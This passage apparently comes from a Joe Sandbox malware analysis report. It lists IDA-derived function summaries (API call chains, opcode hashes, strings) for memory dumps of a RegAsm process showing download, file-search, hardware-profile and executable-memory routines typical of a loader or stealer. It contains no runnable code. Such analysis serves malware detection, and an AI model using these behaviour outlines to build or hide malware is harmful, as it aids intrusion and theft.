Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: X%@$X%@
API String ID: 0-1360290420
Opcode ID: cdd6bf8acb1831ea22f9c716b98bf9ca8420b0d814f1c98a3a420e7b2a83f701
Instruction ID: cf7e05bcfaffb67bdf61be98b9eede3023c8ead03337331c96351d350a792ce1
Opcode Fuzzy Hash: cdd6bf8acb1831ea22f9c716b98bf9ca8420b0d814f1c98a3a420e7b2a83f701
Instruction Fuzzy Hash: B54126716001199FCB11CF69D8806E97BB1FF89318F2484BADD55EB3D1C6B86A82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00407212 Relevance: 4.7, APIs: 3, Instructions: 231stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00407217

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

lstrlenA.KERNEL32(00000000), ref: 0040744E
lstrlenA.KERNEL32(00000000), ref: 00407462

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00413452: _EH_prolog.MSVCRT ref: 00413457
Part of subcall function 00413452: CreateThread.KERNEL32(00000000,00000000,0041224D,?,00000000,00000000), ref: 004134FD
Part of subcall function 00413452: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 00413505

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrlen$lstrcat$CreateObjectSingleThreadWait
String ID:
API String ID: 3193997572-0
Opcode ID: aa30eeed4bc7dac8cae5baff6477bb5d9dcc111a12ef166f0b5fbb837fd81543
Instruction ID: 20d53aa34b81a93204c6663b7f22e2839dc83b0775b4e1a5468bce4c384ac1c7
Opcode Fuzzy Hash: aa30eeed4bc7dac8cae5baff6477bb5d9dcc111a12ef166f0b5fbb837fd81543
Instruction Fuzzy Hash: E3A17070804148EACB05EBE6D955FEDBBB5AF29304F1044AEE446731C2DB381B18DB36

Uniqueness

Uniqueness Score: -1.00%

Function 00410DD7 Relevance: 4.2, APIs: 1, Strings: 1, Instructions: 657COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00410DDC

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00404E01: _EH_prolog.MSVCRT ref: 00404E06
Part of subcall function 00404E01: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404E55
Part of subcall function 00404E01: StrCmpCA.SHLWAPI(?), ref: 00404E6F
Part of subcall function 00404E01: InternetOpenUrlA.WININET(?,00000000,00000000,00000000,-00800100,00000000), ref: 00404E93
Part of subcall function 00404E01: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404EB4
Part of subcall function 00404E01: InternetReadFile.WININET(00000000,?,00000400,?), ref: 00404EFF
Part of subcall function 00404E01: CloseHandle.KERNEL32(?,?,00000400), ref: 00404F19
Part of subcall function 00404E01: InternetCloseHandle.WININET(00000000), ref: 00404F20
Part of subcall function 00404E01: InternetCloseHandle.WININET(?), ref: 00404F29

Part of subcall function 00404E01: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00404EDB

Strings

B, xrefs: 00411668

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologInternetlstrcpy$CloseFileHandle$Openlstrcat$CreateReadWritelstrlen
String ID: B
API String ID: 1244342732-1255198513
Opcode ID: 324544c4bad2dee823ecc960884b3d64476df60fc2fdc29d288224dbe24d92ba
Instruction ID: b60c9e6c074299f836346ddbc8f3b1801eaeb38e4f6ef2cf0ab467e1a8c8ed7a
Opcode Fuzzy Hash: 324544c4bad2dee823ecc960884b3d64476df60fc2fdc29d288224dbe24d92ba
Instruction Fuzzy Hash: 40529B70905288EADB05E7E6C956FDCBBB56F29308F1044AEE445732C2DB781B08DB76

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9CD Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040A9D2

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040FD0C: SHGetFolderPathA.SHELL32(00000000,{LB,00000000,00000000,?), ref: 0040FD3D

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 0040FCC8: _EH_prolog.MSVCRT ref: 0040FCCD
Part of subcall function 0040FCC8: GetFileAttributesA.KERNEL32(00000000,?,0040CB40,?,?,?,?), ref: 0040FCE1

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00410DD7: _EH_prolog.MSVCRT ref: 00410DDC

Part of subcall function 00406531: _EH_prolog.MSVCRT ref: 00406536
Part of subcall function 00406531: GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,00000000,?,?,00424B9C,?,?,?,00424B97,00000000), ref: 004065F3
Part of subcall function 00406531: SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,00424BA0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00424B9B), ref: 0040666B
Part of subcall function 00406531: LoadLibraryA.KERNEL32(00000000), ref: 00406686

Part of subcall function 00409531: _EH_prolog.MSVCRT ref: 00409536
Part of subcall function 00409531: FindFirstFileA.KERNEL32(00000000,?,00000000,?,00424E1C,?,?,00424BFA,00000000), ref: 004095B3
Part of subcall function 00409531: StrCmpCA.SHLWAPI(?,00424E20), ref: 004095D0
Part of subcall function 00409531: StrCmpCA.SHLWAPI(?,00424E24), ref: 004095EA
Part of subcall function 00409531: StrCmpCA.SHLWAPI(?,00000000,?,?,?,00424E28,?,?,00424BFB), ref: 00409681

Strings

\..\, xrefs: 0040AA98

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$EnvironmentFileVariablelstrcat$AttributesFindFirstFolderLibraryLoadPathlstrlen
String ID: \..\
API String ID: 1701172651-4220915743
Opcode ID: b772c2a2e400509bce44cfd7e628216374ce88d2679811f26c0ccdd0640c47d1
Instruction ID: d4a3a95d9eb8acf38289eb4a3dd745c7f014d657264399f41b6c589d77bee939
Opcode Fuzzy Hash: b772c2a2e400509bce44cfd7e628216374ce88d2679811f26c0ccdd0640c47d1
Instruction Fuzzy Hash: CD819770801288EACB05EBE6C556BDDBF74AF15308F54446FE441732C2DB781718CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00405DB5 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000002,00000002,?,00000000,?,?,00405EE4), ref: 00405E34

Strings

, xrefs: 00405E07

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: b6b970fa2179954ca2d24890c2a9fa622aa91f7321e7267b4cd12840a3a9e1b1
Instruction ID: 37a58eeab65d3aafdbf6c8aaf8a854ca426e677cf365e9249ccdf1e7d7c71616
Opcode Fuzzy Hash: b6b970fa2179954ca2d24890c2a9fa622aa91f7321e7267b4cd12840a3a9e1b1
Instruction Fuzzy Hash: 45114C71510A09ABDB20CF94D5887ABB7E5FB04344F644437A581E22C0C778AB45EFE9

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD0C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,{LB,00000000,00000000,?), ref: 0040FD3D

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Strings

{LB, xrefs: 0040FD39

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID: {LB
API String ID: 1699248803-1677426198
Opcode ID: 9bce084ea503f2f3264fa4f7026c85963b9dab8cacfbffe4a34e273a01796e77
Instruction ID: 4d68b9eb25852d0386bd4aac983ad4fe5d220006a8c0922340419ef121009bf9
Opcode Fuzzy Hash: 9bce084ea503f2f3264fa4f7026c85963b9dab8cacfbffe4a34e273a01796e77
Instruction Fuzzy Hash: 2DF01C7990014CABDB51DB64C8909EDB7FDEBC4700F0085A6A90593290D6309F459B50

Uniqueness

Uniqueness Score: -1.00%

Function 0040F4EF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040F500

Strings

Unknown, xrefs: 0040F513

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID: Unknown
API String ID: 2104809126-1654365787
Opcode ID: 7596214ed6e52343cb5c4152aaec98c1a80735e92ae587c46db3da170d6e3bfc
Instruction ID: 69bf318aa110a76255beb91b381982b2f967d7b3d0ae06d46d043a16d20980f7
Opcode Fuzzy Hash: 7596214ed6e52343cb5c4152aaec98c1a80735e92ae587c46db3da170d6e3bfc
Instruction Fuzzy Hash: 52E08C30A00108BBCB20EFA0E845BA937AC7B4434DF504035E401E31C2DA38E6089BA9

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C04D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15COMMON

Download Yara Rule

Strings

failed to allocate %u bytes of memory, xrefs: 1B4C04E7

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: failed to allocate %u bytes of memory
API String ID: 0-1168259600
Opcode ID: 09d97e8837d15127eefebe476e41540606ca2b78331a4dc7e407629eda79808a
Instruction ID: d492add6ba93f778824c49c57a0d1e1d87d22bb1b8be8921b3db0bf0a8d324b7
Opcode Fuzzy Hash: 09d97e8837d15127eefebe476e41540606ca2b78331a4dc7e407629eda79808a
Instruction Fuzzy Hash: 85D01276E8823273DA311190FC07BCF7D514B655A1F058179FD4C59360D555AC9187D2

Uniqueness

Uniqueness Score: -1.00%

Function 0040FCC8 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040FCCD
GetFileAttributesA.KERNEL32(00000000,?,0040CB40,?,?,?,?), ref: 0040FCE1

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AttributesFileH_prolog
String ID:
API String ID: 3244726999-0
Opcode ID: 40946a03df42324b650a58324985e78e04aa3f5453ad4174b3099d50faa63205
Instruction ID: 9d4e949b1c325ac8657719951a4449db450381673e1cbb28aff76c4200e4b283
Opcode Fuzzy Hash: 40946a03df42324b650a58324985e78e04aa3f5453ad4174b3099d50faa63205
Instruction Fuzzy Hash: 0FE09270900218DBCB24EB68C4026CDBB24FF15764F20863AFC63B26D1C7388B4AD684

Uniqueness

Uniqueness Score: -1.00%

Function 00405A9F Relevance: 2.6, APIs: 2, Instructions: 68memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,00000000,00003000,00000040,?,00000000,?,?,00405EA1,00000000,00000000), ref: 00405AFE
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000040,?,00000000,?,?,00405EA1,00000000,00000000), ref: 00405B2A

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1c251f108aa80a173728c8da74072c4a570c277b0e51025ace0a2ede7004c7e8
Instruction ID: d151876d8cc95c0cfb6d8f68ae3702e2f0367945aae6205dd2140cd78635ff23
Opcode Fuzzy Hash: 1c251f108aa80a173728c8da74072c4a570c277b0e51025ace0a2ede7004c7e8
Instruction Fuzzy Hash: AC218E71740B049BD724CFB4CD81BABB7F5EB40714F24492EE61BE6290D279AD408F18

Uniqueness

Uniqueness Score: -1.00%

Function 0040C481 Relevance: 1.7, APIs: 1, Instructions: 223COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040C486

Part of subcall function 0040E912: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E93C

Part of subcall function 0040FD0C: SHGetFolderPathA.SHELL32(00000000,{LB,00000000,00000000,?), ref: 0040FD3D

Part of subcall function 0040EA17: _EH_prolog.MSVCRT ref: 0040EA1C
Part of subcall function 0040EA17: lstrcpy.KERNEL32(00000000), ref: 0040EA68
Part of subcall function 0040EA17: lstrcat.KERNEL32(?,?), ref: 0040EA72

Part of subcall function 0040E9D0: lstrcpy.KERNEL32(00000000,?), ref: 0040EA09

Part of subcall function 0040EA8B: _EH_prolog.MSVCRT ref: 0040EA90
Part of subcall function 0040EA8B: lstrlenA.KERNEL32(?,?,?,?,?,0041625D,?,?,00425A60,?,00000000,00425507), ref: 0040EAB8
Part of subcall function 0040EA8B: lstrcpy.KERNEL32(00000000), ref: 0040EADF
Part of subcall function 0040EA8B: lstrcat.KERNEL32(?,?), ref: 0040EAEA

Part of subcall function 0040E949: lstrcpy.KERNEL32(00000000,FEE8858D), ref: 0040E96F

Part of subcall function 0040FCC8: _EH_prolog.MSVCRT ref: 0040FCCD
Part of subcall function 0040FCC8: GetFileAttributesA.KERNEL32(00000000,?,0040CB40,?,?,?,?), ref: 0040FCE1

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040B20D: _EH_prolog.MSVCRT ref: 0040B212
Part of subcall function 0040B20D: StrStrA.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 0040B265
Part of subcall function 0040B20D: memcmp.MSVCRT ref: 0040B2A3

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$AttributesFileFolderPathlstrlenmemcmp
String ID:
API String ID: 2375657845-0
Opcode ID: 31b05fd01038443aad3a5d05a62342d2caac59711eb6ac9689fe9ce4a91d07d9
Instruction ID: 192756b65cd39bb7d0c5c25db1e27abe58892a75d45ed0417ce1d32a0d2d338e
Opcode Fuzzy Hash: 31b05fd01038443aad3a5d05a62342d2caac59711eb6ac9689fe9ce4a91d07d9
Instruction Fuzzy Hash: B89172B1C04248EADF01EBE6C946ADEBBB8AF15304F10456FE445732C2DB795718CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00405E55 Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
